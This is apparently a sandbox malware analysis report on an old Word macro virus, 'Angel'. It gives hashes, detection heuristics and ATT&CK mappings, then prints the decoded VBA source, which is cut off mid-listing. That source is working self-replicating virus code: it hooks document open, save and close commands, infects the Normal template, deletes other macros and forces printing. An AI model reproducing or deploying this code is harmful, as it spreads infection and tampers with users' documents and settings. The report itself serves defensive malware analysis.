Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec6c379790463325…

MALICIOUS

Office (OLE)

53.5 KB Created: 2001-05-01 14:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4a0b061b32f7b1e832b7deb59a99b128 SHA-1: 4333b4051497d348a0555923f28f0a7789cb4f13 SHA-256: ec6c37979046332503a52bb944c8f321b07f24cff1494a91ea7958a65b4ac19b
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon document opening. The macro code, attributed to 'Avenging Angel', includes calls to 'stealth' and 'clascopy' functions, and mentions 'payload' and 'payload2' subroutines, indicating a downloader or dropper functionality. The embedded email address 'avenging.angel@mailcity.com' is the primary IOC identified.

Heuristics 5

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7664 bytes
SHA-256: 55eeaba9b518c9c740810f7e8b4d3f42630224bfbbd6063d7434c63f68ebd6f8
Detection
ClamAV: Doc.Trojan.Opey-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Angel"
Sub AutoOpen()                                      ' coded by Avenging Angel
    Call stealth                                         ' Undetected by Norton Anti-virus 5.0, Dr. Sol. Antivirus
    On Error Resume Next                          '   Tbav, and other shits
    Call clascopy                                       ' Copyaright 1999
    ActiveDocument.Save                           ' Comments or Suggestions mailto: avenging.angel@mailcity.com
End Sub                                                 'Payload: change the Owner's Computer name
Sub AutoExec()                                        '   on friday it will ask a question to be answered
    Call stealth                '                         '    after 9/9/99 printing will print all the pages on a document
    On Error Resume Next                          '         changes the home of the internet explorer to my site
    Call clascopy
    If WeekDay(Date) = 6 Then
    Call payload2
    End If
    ActiveDocument.Save
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call clascopy
    Application.UserName = "Another infected of Angel Virus"
    Application.UserAddress = "Hacker From Batangas"
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
    On Error Resume Next
    Call clascopy
    Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
    On Error Resume Next
    Call clascopy
    If Date < #9/9/99# Then
        Dialogs(wdDialogFilePrint).Show
    Else
        ActiveDocument.PrintOut
    End If
End Sub
Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call clascopy
    ActiveDocument.Save
End Sub
Sub AutoClose()
    On Error Resume Next
    Call clascopy
End Sub
Sub AutoExit()
    On Error Resume Next
    Call clascopy
    Application.Quit
End Sub
Sub FileSave()
    On Error Resume Next
    Call clascopy
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call clascopy
    If ActiveDocument.Words(1) <> "" _
    And ActiveDocument.Saved = False Then
    ActiveDocument.Save
    End If
    ActiveDocument.Close
End Sub
Sub FileExit()
    On Error Resume Next
    Call clascopy
    If ActiveDocument.Words(1) <> "" And _
    ActiveDocument.Saved = False Then
    ActiveDocument.Save
    End If
    Call payload
    Applicationb.Quit
End Su
Sub FileNew()
    On Error Resume Next
    Dialogs(wdDialogFileNew).Show
    Call clascopy
End Sub

Sub clascopy()
   On Error Resume Next
   Call stealth
    infected = False
        For A_A = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            modname = NormalTemplate.VBProject.VBComponents(A_A).Name
                If modname = "Angel" Then infected = True
                If (modname <> "Angel") And (modname <> "ThisDocument") Then
                    Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=modname, Object:=wdOrganizerObjectProjectItems
                End If
        Next A_A
        For Each documentopen In Documents
            Docinfected = False
            With documentopen
                For Angelclaw = documentopen.VBProject.VBComponents.Count To 1 Step -1
                modname = documentopen.VBProject.VBComponents(Angelclaw).Name
                    If modname = "Angel" Then Docinfected = True
                    If (modname <> "Angel") And (modname <> "ThisDocument") And (modname <> "Reference to Normal") Then
                        Application.OrganizerDelete Source:=documentopen.FullName, Name:=modname, Object:=wdOrganizerObjectProjectItems
                    End If
                Next Angelclaw
                If Docinfected = False Then
                     e = NormalTemplate.VBProject.VBComponents(2).CodeMod
... (truncated)